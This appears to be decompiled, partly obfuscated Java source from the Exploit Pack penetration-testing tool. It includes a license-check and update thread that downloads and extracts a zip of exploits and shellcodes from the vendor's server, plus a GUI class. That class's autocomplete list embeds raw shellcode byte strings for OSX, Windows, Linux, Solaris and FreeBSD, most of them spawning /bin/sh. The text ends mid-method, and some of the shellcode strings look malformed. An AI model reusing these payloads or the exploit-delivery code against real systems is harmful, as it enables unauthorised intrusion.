ExploitPack SouceCode

import exploitpack.AsymmetricCryptography;
import exploitpack.SplashScreen;
import exploitpack.Update0Days;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.URL;
import java.nio.file.CopyOption;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.security.NoSuchAlgorithmException;
import java.security.PublicKey;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import net.lingala.zip4j.core.ZipFile;
import org.apache.commons.net.ntp.NTPUDPClient;

public final class fM extends Thread {
  public fM(Update0Days paramUpdate0Days, String paramString) {
    super(paramString);
  }
  
  public final void run() {
    try {
      long l = System.nanoTime();
      if (System.nanoTime() - l > 100000L)
        System.exit(0); 
      if (Update0Days.a(this.a).getText().equals("Browse key")) {
        String str1 = "";
        JFileChooser jFileChooser;
        (jFileChooser = new JFileChooser(new File(str1))).showOpenDialog(null);
        jFileChooser.getSelectedFile();
        File file = new File(jFileChooser.getSelectedFile().toString());
        BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
        String str2;
        while ((str2 = bufferedReader.readLine()) != null)
          Update0Days.a(this.a).setText(str2); 
        Update0Days.a(this.a).setText("Update now");
        return;
      } 
      if (Update0Days.a(this.a).getText().equals("Update now")) {
        AsymmetricCryptography asymmetricCryptography = new AsymmetricCryptography();
        PublicKey publicKey = AsymmetricCryptography.a("data/config/pub");
        String str2 = Update0Days.a(this.a).getText();
        String str1 = asymmetricCryptography.a(str2, publicKey);
        Boolean bool = Boolean.FALSE;
        URL uRL = new URL("http://exploitpack.com/changelog/blacklist.txt");
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(uRL.openStream()));
        String str3;
        while ((str3 = bufferedReader.readLine()) != null) {
          if (str1.contains(str3)) {
            JOptionPane.showMessageDialog(null, "Sorry, your license key has been banned, you can contact support@exploitpack.com for help.", "Exploit Pack says:", 0);
            System.exit(0);
            return;
          } 
          bool = Boolean.TRUE;
        } 
        if (bool.booleanValue()) {
          String str6 = "time.google.com";
          NTPUDPClient nTPUDPClient;
          (nTPUDPClient = new NTPUDPClient()).open();
          nTPUDPClient.setSoTimeout(5000);
          InetAddress inetAddress = InetAddress.getByName(str6);
          long l1 = nTPUDPClient.getTime(inetAddress).getReturnTime();
          Date date = new Date(l1);
          String str5 = (new SimpleDateFormat("yyyy-MM-dd")).format(date);
          String[] arrayOfString;
          if ((arrayOfString = str1.split("\\s+")).length == 1) {
            Update0Days.a(this.a).setMaximum(30000);
            Update0Days.a(this.a).setValue(1000);
            Update0Days.a(this.a).setText("[*] Process started. DO NOT CLOSE THIS WINDOW!\n");
            Update0Days.a(this.a).append("[*] Registering your key... wait\n");
            Update0Days.a(this.a).append("[*] Registration. Done.\n");
            Update0Days.a(this.a).append("[*] Starting to download updates, this process might take a few minutes.\n");
            Update0Days.a(this.a).append("[*] Download started.. \n");
            (new Thread(new fO(this.a))).start();
            str5 = Update0Days.b(String.format("%.4s", new Object[] { arrayOfString[0] }));
            String str = "exploitsUpdate.zip";
            URL uRL2 = new URL("http://exploitpack.com/changelog/" + str5 + ".zip");
            Path path1 = (new File(str)).toPath();
            Files.copy(uRL2.openStream(), path1, new CopyOption[] { StandardCopyOption.REPLACE_EXISTING });
            ZipFile zipFile1;
            (zipFile1 = new ZipFile(str)).setPassword(arrayOfString[0]);
            Update0Days.a(this.a).append("[*] Download finished, decompressing exploit tree please wait..\n");
            Update0Days.a(this.a).append("[*] Shellcodes uncompressed.\n");
            Update0Days.a(this.a).append("[*] Exploits uncompressed.\n");
            Update0Days.a(this.a).append("[*] Applying changes, please wait... extracting\n");
            zipFile1.extractAll(".");
            SplashScreen.d = true;
            BufferedWriter bufferedWriter1 = new BufferedWriter(new FileWriter("data/config/yourkey"));
            try {
              bufferedWriter1.write(str2);
              bufferedWriter1.close();
            } catch (Throwable throwable2) {
              try {
                bufferedWriter1.close();
              } catch (Throwable throwable1) {
                throwable2.addSuppressed(throwable1);
              } 
              throw throwable2;
            } 
            Update0Days.a(this.a).setMaximum(1);
            Update0Days.a(this.a).setValue(30000);
            Update0Days.a(this.a).append("[*] Update executed sucessfully. Thanks for choosing Exploit Pack!\n");
            Update0Days.a(this.a).append("[!] Happy Hacking!\n");
            JOptionPane.showMessageDialog(null, "Thanks for registering and updating Exploit Pack, please restart the program for the changes to take effect.", "Exploit Pack says:", 1);
            return;
          } 
          if (throwable1.compareTo((String)throwable2[1]) > 0) {
            JOptionPane.showMessageDialog(null, "[!] Sorry, your license key is invalid or expired, contact support@exploitpack.com for support.", "Exploit Pack says:", 0);
            this.a.dispose();
            return;
          } 
          Update0Days.a(this.a).setMaximum(30000);
          Update0Days.a(this.a).setValue(1000);
          Update0Days.a(this.a).setText("[*] Process started. DO NOT CLOSE THIS WINDOW!\n");
          Update0Days.a(this.a).append("[*] Registering your key... wait\n");
          Update0Days.a(this.a).append("[*] Registration. Done.\n");
          Update0Days.a(this.a).append("[*] Starting to download updates, this process might take a few minutes.\n");
          Update0Days.a(this.a).append("[*] Download started..\n");
          (new Thread(new fO(this.a))).start();
          String str4 = Update0Days.b(String.format("%.4s", new Object[] { throwable2[0] }));
          String str7 = "exploitsUpdate.zip";
          URL uRL1 = new URL("http://exploitpack.com/changelog/" + str4 + ".zip");
          Path path = (new File(str7)).toPath();
          Files.copy(uRL1.openStream(), path, new CopyOption[] { StandardCopyOption.REPLACE_EXISTING });
          ZipFile zipFile;
          (zipFile = new ZipFile(str7)).setPassword((String)throwable2[0]);
          Update0Days.a(this.a).append("[*] Download finished, decompressing exploit tree please wait..\n");
          Update0Days.a(this.a).append("[*] Shellcodes uncompressed.\n");
          Update0Days.a(this.a).append("[*] Exploits uncompressed.\n");
          Update0Days.a(this.a).append("[*] Applying changes, please wait...\n");
          zipFile.extractAll(".");
          SplashScreen.d = true;
          BufferedWriter bufferedWriter = new BufferedWriter(new FileWriter("data/config/yourkey"));
          try {
            bufferedWriter.write(str2);
            bufferedWriter.close();
          } catch (Throwable throwable) {
            try {
              bufferedWriter.close();
            } catch (Throwable throwable3) {
              throwable.addSuppressed(throwable3);
            } 
            throw throwable;
          } 
          Update0Days.a(this.a).setMaximum(1);
          Update0Days.a(this.a).setValue(30000);
          Update0Days.a(this.a).append("[*] Update executed sucessfully. Thanks for choosing Exploit Pack!\n");
          Update0Days.a(this.a).append("[!] Happy Hacking!\n");
          JOptionPane.showMessageDialog(null, "Thanks for registering and updating Exploit Pack, please restart the program for the changes to take effect.", "Exploit Pack says:", 1);
        } 
      } 
      return;
    } catch (FileNotFoundException fileNotFoundException) {
      Update0Days.a(this.a).append("[*] Operation cancelled.\n");
      Update0Days.a(this.a).append("[*] Contact support@exploitpack.com for assistance.\n");
      Update0Days.a(this.a).setMaximum(1);
      Update0Days.a(this.a).setValue(20000);
      Update0Days.a(this.a).setText("Browse key");
      JOptionPane.showMessageDialog(null, "Sorry, your 48 hours to download your Pack have expired. Please contact support@exploitpack.com for assistance.", "Exploit Pack says:", 0);
      Logger.getLogger(Update0Days.class.getName()).log(Level.SEVERE, (String)null, fileNotFoundException);
      return;
    } catch (IOException iOException) {
      Logger.getLogger(Update0Days.class.getName()).log(Level.SEVERE, (String)null, iOException);
      return;
    } catch (NoSuchAlgorithmException|javax.crypto.NoSuchPaddingException noSuchAlgorithmException) {
      JOptionPane.showMessageDialog(null, "Sorry, your license key is invalid, please contact support@exploitpack.com for help.", "Exploit Pack says:", 0);
      Update0Days.a(this.a).setText("Browse key");
      Logger.getLogger(Update0Days.class.getName()).log(Level.SEVERE, (String)null, noSuchAlgorithmException);
      return;
    } catch (Exception exception) {
      JOptionPane.showMessageDialog(null, "Sorry, your license key is invalid, please contact support@exploitpack.com for help.", "Exploit Pack says:", 0);
      Update0Days.a(this.a).setText("Browse key");
      Logger.getLogger(Update0Days.class.getName()).log(Level.SEVERE, (String)null, exception);
      return;
    } finally {}
  }
}

  

package exploitpack;

import Q;
import T;
import aO;
import aP;
import aQ;
import aR;
import aS;
import aT;
import aU;
import aV;
import aW;
import aX;
import aY;
import aZ;
import af;
import am;
import bA;
import bB;
import bC;
import bD;
import bE;
import bF;
import bG;
import bH;
import bI;
import bJ;
import bK;
import bL;
import bM;
import bN;
import bO;
import bP;
import bQ;
import bR;
import bS;
import bT;
import bU;
import bV;
import bW;
import bX;
import bY;
import bZ;
import ba;
import bb;
import bc;
import bd;
import be;
import bf;
import bg;
import bh;
import bi;
import bj;
import bk;
import bl;
import bm;
import bn;
import bo;
import bp;
import bq;
import br;
import bs;
import bt;
import bu;
import bv;
import bw;
import bx;
import by;
import bz;
import cA;
import cB;
import cC;
import cD;
import cE;
import cF;
import cG;
import cH;
import cI;
import cJ;
import cK;
import cL;
import cM;
import cN;
import cO;
import cP;
import cQ;
import cR;
import cS;
import cT;
import cU;
import cV;
import cW;
import cX;
import cY;
import cZ;
import ca;
import cb;
import cc;
import cd;
import ce;
import cf;
import cg;
import ch;
import ci;
import ck;
import cl;
import cm;
import cn;
import co;
import cp;
import cq;
import cr;
import cs;
import ct;
import cu;
import cv;
import cw;
import cx;
import cy;
import cz;
import dA;
import dB;
import dC;
import dD;
import dE;
import dF;
import dG;
import dH;
import dI;
import dJ;
import dK;
import dL;
import dM;
import dN;
import dO;
import dP;
import dQ;
import dR;
import dS;
import da;
import db;
import dc;
import dd;
import de;
import df;
import dg;
import dh;
import di;
import dj;
import dk;
import dl;
import dm;
import dn;
import do;
import dp;
import dq;
import dr;
import ds;
import dt;
import du;
import dv;
import dw;
import dx;
import dy;
import dz;
import gi;
import gj;
import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.Component;
import java.awt.Cursor;
import java.awt.Desktop;
import java.awt.Dimension;
import java.awt.EventQueue;
import java.awt.Font;
import java.awt.Toolkit;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.event.MouseListener;
import java.awt.event.WindowListener;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URI;
import java.net.URL;
import java.nio.file.Paths;
import java.security.PublicKey;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import java.util.Scanner;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
import javax.sound.sampled.AudioFormat;
import javax.sound.sampled.AudioInputStream;
import javax.sound.sampled.AudioSystem;
import javax.sound.sampled.Clip;
import javax.sound.sampled.DataLine;
import javax.sound.sampled.UnsupportedAudioFileException;
import javax.swing.BorderFactory;
import javax.swing.DefaultComboBoxModel;
import javax.swing.GroupLayout;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JCheckBox;
import javax.swing.JComboBox;
import javax.swing.JFileChooser;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPopupMenu;
import javax.swing.JProgressBar;
import javax.swing.JScrollPane;
import javax.swing.JSeparator;
import javax.swing.JTabbedPane;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.JToolBar;
import javax.swing.JTree;
import javax.swing.JWindow;
import javax.swing.KeyStroke;
import javax.swing.LayoutStyle;
import javax.swing.UIManager;
import javax.swing.border.Border;
import javax.swing.border.LineBorder;
import javax.swing.event.TreeSelectionEvent;
import javax.swing.event.TreeSelectionListener;
import javax.swing.text.DefaultCaret;
import javax.swing.text.DefaultEditorKit;
import javax.swing.text.JTextComponent;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.DefaultTreeCellRenderer;
import javax.swing.tree.DefaultTreeModel;
import net.lingala.zip4j.core.ZipFile;
import net.lingala.zip4j.exception.ZipException;
import net.lingala.zip4j.model.ZipParameters;
import org.apache.commons.net.ntp.NTPUDPClient;
import org.fife.ui.autocomplete.AutoCompletion;
import org.fife.ui.autocomplete.BasicCompletion;
import org.fife.ui.autocomplete.Completion;
import org.fife.ui.autocomplete.CompletionProvider;
import org.fife.ui.autocomplete.DefaultCompletionProvider;
import org.fife.ui.autocomplete.ShorthandCompletion;
import org.fife.ui.rsyntaxtextarea.RSyntaxTextArea;
import org.fife.ui.rtextarea.RTextArea;
import org.fife.ui.rtextarea.RTextScrollPane;

public class MainFrame extends JFrame {
  private String K;
  
  private int a;
  
  private gi a;
  
  public T b;
  
  private Object a;
  
  public String a;
  
  private String d;
  
  public Socket a;
  
  public ServerSocket a;
  
  public RSyntaxTextArea b;
  
  private RSyntaxTextArea c;
  
  public static gj a = new gj();
  
  public String e;
  
  public String f;
  
  public String b;
  
  private String g;
  
  private String h;
  
  private String i;
  
  private String j;
  
  private List a;
  
  public StringBuilder a;
  
  public Process a;
  
  private JTextField v;
  
  private JButton a;
  
  private JButton h;
  
  private JButton i;
  
  private JButton j;
  
  private JButton k;
  
  private JButton l;
  
  private JButton m;
  
  private JButton n;
  
  private JButton o;
  
  private JButton p;
  
  private JButton q;
  
  private JButton b;
  
  private JButton r;
  
  private JButton s;
  
  private JButton t;
  
  private JButton u;
  
  private JButton v;
  
  private JButton w;
  
  private JButton x;
  
  private JButton y;
  
  private JButton z;
  
  private JButton A;
  
  private JButton c;
  
  private JButton B;
  
  private JButton C;
  
  private JButton D;
  
  private JButton E;
  
  private JButton F;
  
  private JButton G;
  
  private JButton H;
  
  private JButton I;
  
  private JButton e;
  
  private JButton f;
  
  private JButton g;
  
  private JButton J;
  
  private JButton K;
  
  private JButton L;
  
  private JButton M;
  
  private JButton N;
  
  private JButton O;
  
  private JButton P;
  
  private JButton Q;
  
  private JButton d;
  
  private JButton R;
  
  private JButton S;
  
  private JCheckBox d;
  
  private JCheckBox e;
  
  private JCheckBox f;
  
  private JCheckBox g;
  
  private JCheckBox h;
  
  private JCheckBox i;
  
  private JCheckBox j;
  
  private JCheckBox k;
  
  private JComboBox e;
  
  private JComboBox f;
  
  private JComboBox g;
  
  private JComboBox h;
  
  private JComboBox b;
  
  private JLabel a;
  
  private JLabel i;
  
  private JLabel j;
  
  private JLabel k;
  
  private JLabel l;
  
  private JLabel m;
  
  private JLabel n;
  
  private JLabel o;
  
  private JLabel p;
  
  private JLabel q;
  
  private JLabel r;
  
  private JLabel b;
  
  private JLabel s;
  
  private JLabel t;
  
  private JLabel u;
  
  private JLabel v;
  
  private JLabel w;
  
  private JLabel x;
  
  private JLabel B;
  
  private JLabel C;
  
  private JLabel D;
  
  private JLabel E;
  
  private JLabel c;
  
  private JLabel F;
  
  private JLabel G;
  
  private JLabel H;
  
  private JLabel I;
  
  private JLabel J;
  
  private JLabel K;
  
  private JLabel L;
  
  private JLabel M;
  
  private JLabel d;
  
  private JLabel y;
  
  private JLabel e;
  
  private JLabel f;
  
  private JLabel g;
  
  private JLabel h;
  
  private JLabel N;
  
  private JLabel O;
  
  private JLabel P;
  
  private JLabel Q;
  
  private JMenu a;
  
  private JMenu b;
  
  private JMenu c;
  
  private JMenu d;
  
  private JMenu e;
  
  private JMenu f;
  
  private JMenu g;
  
  private JMenu h;
  
  private JMenu i;
  
  private JMenu j;
  
  private JMenu k;
  
  private JMenu l;
  
  private JMenu m;
  
  private JMenu n;
  
  private JMenu o;
  
  private JMenu p;
  
  private JMenu q;
  
  private JMenu r;
  
  private JMenuBar a;
  
  private JMenuItem a;
  
  private JMenuItem b;
  
  private JMenuItem c;
  
  public JMenuItem d;
  
  private JMenuItem e;
  
  private JMenuItem f;
  
  private JMenuItem g;
  
  private JMenuItem h;
  
  private JMenuItem i;
  
  private JMenuItem j;
  
  private JMenuItem k;
  
  private JMenuItem l;
  
  private JMenuItem m;
  
  private JMenuItem n;
  
  private JMenuItem o;
  
  private JMenuItem p;
  
  private JMenuItem q;
  
  private JMenuItem r;
  
  private JMenuItem s;
  
  private JMenuItem t;
  
  private JMenuItem u;
  
  private JMenuItem v;
  
  private JMenuItem w;
  
  private JMenuItem x;
  
  private JMenuItem y;
  
  private JMenuItem z;
  
  private JMenuItem A;
  
  private JMenuItem B;
  
  private JMenuItem C;
  
  private JMenuItem D;
  
  private JMenuItem E;
  
  private JMenuItem F;
  
  private JMenuItem G;
  
  private JMenuItem H;
  
  private JMenuItem I;
  
  private JMenuItem J;
  
  private JMenuItem K;
  
  private JMenuItem L;
  
  private JMenuItem M;
  
  private JMenuItem N;
  
  private JMenuItem O;
  
  private JMenuItem P;
  
  private JMenuItem Q;
  
  private JMenuItem R;
  
  private JMenuItem S;
  
  private JMenuItem T;
  
  private JMenuItem U;
  
  private JMenuItem V;
  
  private JMenuItem W;
  
  private JMenuItem X;
  
  private JMenuItem Y;
  
  private JMenuItem Z;
  
  private JMenuItem aa;
  
  private JMenuItem ab;
  
  private JMenuItem ac;
  
  private JMenuItem ad;
  
  private JMenuItem ae;
  
  private JMenuItem af;
  
  private JMenuItem ag;
  
  private JMenuItem ah;
  
  private JMenuItem ai;
  
  private JMenuItem aj;
  
  private JMenuItem ak;
  
  private JMenuItem al;
  
  private JMenuItem am;
  
  private JMenuItem an;
  
  private JMenuItem ao;
  
  private JMenuItem ap;
  
  private JMenuItem aq;
  
  private JMenuItem ar;
  
  private JMenuItem as;
  
  private JMenuItem at;
  
  private JMenuItem au;
  
  private JMenuItem av;
  
  private JMenuItem aw;
  
  private JMenuItem ax;
  
  private JMenuItem ay;
  
  private JMenuItem az;
  
  private JPanel a;
  
  private JPanel d;
  
  private JPanel e;
  
  private JPanel f;
  
  private JPanel g;
  
  private JPanel h;
  
  private JPanel i;
  
  private JPanel j;
  
  private JPanel k;
  
  private JPanel l;
  
  private JPanel m;
  
  private JPanel b;
  
  private JPanel n;
  
  private JPanel o;
  
  private JPanel p;
  
  private JPanel q;
  
  private JPanel r;
  
  private JPanel s;
  
  private JPanel t;
  
  private JPanel u;
  
  private JPanel v;
  
  private JPanel w;
  
  private JPanel c;
  
  private JPanel x;
  
  private JPanel y;
  
  private JPanel z;
  
  private JPanel A;
  
  private JPanel B;
  
  private JPanel C;
  
  private JPanel D;
  
  private JPanel E;
  
  private JPanel F;
  
  private JPanel G;
  
  private JPanel H;
  
  private JPanel I;
  
  private JPanel J;
  
  private JPanel K;
  
  private JPanel L;
  
  private JPopupMenu a;
  
  private JProgressBar b;
  
  private JScrollPane a;
  
  private JScrollPane c;
  
  private JScrollPane d;
  
  private JScrollPane e;
  
  private JScrollPane f;
  
  private JScrollPane g;
  
  private JScrollPane h;
  
  private JScrollPane i;
  
  private JScrollPane j;
  
  private JScrollPane k;
  
  private JScrollPane b;
  
  private JScrollPane l;
  
  private JScrollPane m;
  
  private JScrollPane n;
  
  private JScrollPane o;
  
  private JScrollPane p;
  
  private JScrollPane q;
  
  private JScrollPane r;
  
  private JScrollPane s;
  
  private JToolBar.Separator a;
  
  private JToolBar.Separator b;
  
  private JToolBar.Separator c;
  
  private JToolBar.Separator d;
  
  private JPopupMenu.Separator a;
  
  private JPopupMenu.Separator b;
  
  private JPopupMenu.Separator c;
  
  private JPopupMenu.Separator d;
  
  private JPopupMenu.Separator e;
  
  private JPopupMenu.Separator f;
  
  private JPopupMenu.Separator g;
  
  private JToolBar.Separator e;
  
  private JPopupMenu.Separator h;
  
  private JPopupMenu.Separator i;
  
  private JToolBar.Separator f;
  
  private JToolBar.Separator g;
  
  private JToolBar.Separator h;
  
  private JToolBar.Separator i;
  
  private JPopupMenu.Separator j;
  
  private JPopupMenu.Separator k;
  
  private JPopupMenu.Separator l;
  
  private JPopupMenu.Separator m;
  
  private JToolBar.Separator j;
  
  private JToolBar.Separator k;
  
  private JPopupMenu.Separator n;
  
  private JPopupMenu.Separator o;
  
  private JPopupMenu.Separator p;
  
  private JPopupMenu.Separator q;
  
  private JToolBar.Separator l;
  
  private JPopupMenu.Separator r;
  
  private JToolBar.Separator m;
  
  private JSeparator e;
  
  private JToolBar.Separator n;
  
  private JToolBar.Separator o;
  
  private JToolBar.Separator p;
  
  private JToolBar.Separator q;
  
  private JToolBar.Separator r;
  
  private JToolBar.Separator s;
  
  private JToolBar.Separator t;
  
  private JToolBar.Separator u;
  
  private JToolBar.Separator v;
  
  private JToolBar.Separator w;
  
  private JPopupMenu.Separator s;
  
  private JPopupMenu.Separator t;
  
  private JToolBar.Separator x;
  
  private JPopupMenu.Separator u;
  
  private JToolBar.Separator y;
  
  private JPopupMenu.Separator v;
  
  private JToolBar.Separator z;
  
  private JToolBar.Separator A;
  
  private JPopupMenu.Separator w;
  
  private JPopupMenu.Separator x;
  
  private JPopupMenu.Separator y;
  
  private JPopupMenu.Separator z;
  
  private JPopupMenu.Separator A;
  
  private JToolBar.Separator B;
  
  private JToolBar.Separator C;
  
  private JPopupMenu.Separator B;
  
  private JPopupMenu.Separator C;
  
  private JPopupMenu.Separator D;
  
  private JPopupMenu.Separator E;
  
  private JToolBar.Separator D;
  
  private JToolBar.Separator E;
  
  private JSeparator f;
  
  private JTabbedPane a;
  
  private JTabbedPane b;
  
  private JTabbedPane c;
  
  private JTextArea h;
  
  private JTextArea i;
  
  private JTextArea j;
  
  private JTextArea k;
  
  private JTextArea l;
  
  private JTextArea m;
  
  private JTextArea n;
  
  private JTextArea d;
  
  private JTextArea o;
  
  private JTextArea p;
  
  private JTextArea q;
  
  private JTextArea r;
  
  private JTextField w;
  
  private JTextField x;
  
  private JTextField y;
  
  private JTextField z;
  
  private JTextField A;
  
  private JTextField B;
  
  private JTextField C;
  
  private JTextField D;
  
  private JTextField E;
  
  private JTextField F;
  
  private JTextField G;
  
  private JTextField H;
  
  private JTextField I;
  
  private JTextField J;
  
  private JTextField K;
  
  private JTextField L;
  
  private JTextField e;
  
  private JTextField M;
  
  private JTextField N;
  
  private JTextField O;
  
  private JTextField P;
  
  private JTextField Q;
  
  private JTextField R;
  
  private JTextField S;
  
  private JTextField T;
  
  private JTextField U;
  
  private JTextField V;
  
  private JToolBar a;
  
  private JToolBar b = (JToolBar)new T();
  
  private JToolBar c;
  
  private JTree a = (JTree)new gi();
  
  private JTree c;
  
  private JTree d;
  
  private JTree e;
  
  private JTree f;
  
  private JTree g;
  
  private JTree h;
  
  private static CompletionProvider a() {
    DefaultCompletionProvider defaultCompletionProvider;
    (defaultCompletionProvider = new DefaultCompletionProvider()).addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "abstract"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "assert"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "break"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "case"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "transient"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "try"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "while() { }"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "for(i in x) do{} done"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "if { } else { }"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "payload"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "junk"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeOSX32 = \"\"\"\\x48\\x31\\xff\\x40\\xb7\\x02\\x48\\x31\\xf6\\x40\\xb6\\x01\\x48\\x31\\xd2\\x48\" \\\n\"\\x31\\xc0\\xb0\\x02\\x48\\xc1\\xc8\\x28\\xb0\\x61\\x49\\x89\\xc4\\x0f\\x05\\x49\" \\\n\"\\x89\\xc1\\x48\\x89\\xc7\\x48\\x31\\xf6\\x56\\xbe\\x01\\x02\\x11\\x5c\\x83\\xee\" \\\n\"\\x01\\x56\\x48\\x89\\xe6\\xb2\\x10\\x41\\x80\\xc4\\x07\\x4c\\x89\\xe0\\x0f\\x05\" \\\n\"\\x48\\x31\\xf6\\x48\\xff\\xc6\\x41\\x80\\xc4\\x02\\x4c\\x89\\xe0\\x0f\\x05\\x48\" \\\n\"\\x31\\xf6\\x41\\x80\\xec\\x4c\\x4c\\x89\\xe0\\x0f\\x05\\x48\\x89\\xc7\\x48\\x31\" \\\n\"\\xf6\\x41\\x80\\xc4\\x3c\\x4c\\x89\\xe0\\x0f\\x05\\x48\\xff\\xc6\\x4c\\x89\\xe0\" \\\n\"\\x0f\\x05\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\" \\\n\"\\x57\\x48\\x89\\xe7\\x48\\x31\\xd2\\x41\\x80\\xec\\x1f\\x4c\\x89\\xe0\\x0f\\x05\";\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeOSX64 = \"\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x57\\x48\\x89\\xe7\\x48\\x31\\xd2\\x48\\x31\\xc0\\xb0\\x02\\x48\\xc1\\xc8\\x28\\xb0\\x3b\\x0f\\x05\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeWin32 = \"\\x31\\xc0\\x50\\x68\\x42\\x34\\x6d\\x7c\\x68\\x7c\\x42\\x33\\x6d\\x89\\xe1\\xbb\\xd4\\x29\\x86\\x7c\\x51\\x50\\xff\\xd3\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeWin64 =  \"\\x64\\xA1\\x30\\x00\\x00\\x00\\x8B\\x40\\x02\\xBB\\x00\\x80\\xFF\\x7F\\x81\\xC3\\x00\\x80\\xFF\\x7F\\x43\\x68\\x00\\x03\\x00\\x00\\x68\\x00\\x02\\x00\\x00\\xBA\\x8F\\x7A\\x83\\x7C\\x3B\\xC3\\x75\\x02\\xFF\\xD2\\x6A\\x00\\xE8\\x01\\x00\\x00\\x00\\xCC\\xFF\\x25\\x00\\x20\\x40\\x00\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeLinux64 = \"\\48\\31\\c0\\48\\83\\c0\\3b\\48\\31\\ff\\57\\48\\bf\\2f\\62\\69\\6e\\2f\\2f\\73\\68\\57\\48\\8d\\3c\\24\\48\\31\\f6\\48\\31\\d2\\0f\\05\\n\r\""));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeLinux32 = \"\\xb0\\x46\\x31\\xc0\\xcd\\x80\\xeb\\x07\\x5b\\x31\\xc0\\xb0\\x0b\\xcd\\x80\\x31\\xc9\\xe8\\xf2\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeSolaris = \"\\x31\\xc0\\x50\\x68\\x62\\x6f\\x6f\\x74\\x68\\x6e\"\n            \"\\x2f\\x72\\x65\\x68\\x2f\\x73\\x62\\x69\\x68\\x2f\"\n            \"\\x75\\x73\\x72\\x89\\xe3\\x50\\x53\\x89\\xe1\\x50\"\n            \"\\x51\\x53\\xb0\\x0b\\x50\\xcd\\x91\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeSolarisx86 = \"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x91\\x50\\x68\"\n\t\t\"\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\"\n\t\t\"\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\"\n\t\t\"\\x50\\xcd\\x91\\x40\\x50\\x50\\xcd\\x91\"\n\r"));
    defaultCompletionProvider.addCompletion((Completion)new BasicCompletion((CompletionProvider)defaultCompletionProvider, "shellcodeFreeBSD = \"\"\\x48\\x31\\xc9\\x48\\xf7\\xe1\\x04\\x3b\\x48\\xbb\"\n\"\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x52\\x53\"\n\"\\x54\\x5f\\x52\\x57\\x54\\x5e\\x0f\\x05\"\"\n\r"));
